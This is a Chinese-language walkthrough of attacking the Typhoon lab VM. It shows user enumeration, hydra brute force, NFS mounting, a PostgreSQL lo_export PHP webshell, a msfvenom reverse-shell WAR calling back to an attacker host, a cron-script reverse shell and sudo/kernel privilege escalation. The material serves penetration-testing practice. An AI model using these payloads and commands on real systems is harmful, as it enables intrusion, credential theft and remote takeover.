前言&靶机简介
这个靶机挺多漏洞,知识点很广,所以决定自己来打一遍,算是复习一些很久前的知识点,就从一个端口一个端口来渗透吧,看看有什么知识点
为啥选这个端口呢,因为后面要渗透21和22端口很大可能会爆破,25端口版本为Postfix smtpd,可以进行用户名枚举,为后面爆破提供方便
存在root、typhoon、admin这三个用户
使用nc连接25端口不过貌似不能发邮件
首先在网上搜了一下vsftpd 3.0.2这个版本有没有什么漏洞,没有结果,于是尝试一些通用的基本操作
探测了一下发现存在ftp匿名访问
于是登录一下,查看当前路径及列目录
尝试上传文件
发现权限不允许,所以21端口暂时没有其它利用方式
因为知道了存在以上用户,所以使用hydra爆破
得到了typhoon的密码继续爆破admin的密码,同样成功爆破
root爆破无果
账号密码和21端口一样
这是一个NFS服务,测试一下是否存在未授权访问允许挂载文件,确实存在
查询目标NFS共享目录情况
showmount -e 192.168.80.4
然后挂载typhoon目录
mount -t nfs 192.168.80.4:/typhoon /tmp/mut/
使用enum4linux枚举目标共享信息
enum4linux 192.168.80.4
也顺便列出了存在的用户名typhoon、admin、postfixuser
发现允许空账户、空密码登录,共享文件typhoon远程挂载,密码随便输就行
这个端口是PostgreSQL数据库,尝试爆破一下账号密码账号密码都为postgres
DROP TABLE if EXISTS ghtwf01;
CREATE TABLE ghtwf01(t TEXT);
COPY ghtwf01 FROM '/etc/passwd';
SELECT * FROM ghtwf01;
创建OID,清空内容
SELECT lo_create(4444);
delete from pg_largeobject where loid=4444;
将一句话木马16进制编码为
3C3F70687020406576616C28245F504F53545B277368656C6C275D293B203F3E
插入
insert into pg_largeobject (loid,pageno,data) values(4444, 0, decode('3C3F70687020406576616C28245F504F53545B277368656C6C275D293B203F3E', 'hex'));
导出数据到指定文件
SELECT lo_export(4444, '/var/www/html/shell.php');
成功getshell
这个端口是redis,测试一下是否存在未授权访问确实存在
Redis利用方式有三种
1.Redis写webshell
2.Redis写计划任务反弹shell
3.Redis写ssh公钥
详细见我之前写的一篇Redis利用方式总结:
https://www.ghtwf01.cn/index.php/archives/407/
目录扫描发现了它,直接上msf
在cms目录,同样msf
账号密码是默认的admin/password这里面全是洞,直接命令执行弹shell
利用dvwa里面的文件包含漏洞或获取dvwa配置文件信息拿到数据库账号密码登录
发现是Tomcat,先目录扫描一下,找到后台manager,需要账号密码使用msf爆破一下
账号密码都为tomcat进入后台发现版本号7.0.52,有上传点,所以就是部署war后门
使用msf生成war包后门
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.80.130 lport=4444 -f war -o shell.war
打开发现后门名叫hmmliavgsqxlddq.jsp上传shell.war访问shell/hmmliavgsqxlddq.jsp反弹shell
msf一把梭
这里演示几种提权方式
uname -a查看内核版本
搜索一下,发现存在内核提权
然后上传exp,编译运行
先切换成bash
Python -c 'import pty;pty.spawn("/bin/bash")'
发现在tab目录下有一个script.sh文件所有用户都可以操作,于是在里面写入反弹shell命令,但是反弹过来的不是root权限,而且返回来的shell还挺难操作,有点迷
看到可以使用nc,于是使用msf里面的nc反弹shell
然后成功反弹shell
前提是已经获得当前普通用户的密码,并且当前用户属于sudo组,这里使用的admin用户查看一下sudo权限范围
因为安全了python,直接
sudo python -c 'import pty;pty.spawn("/bin/bash")'
拿到root权限
或者sudo -i
方法很多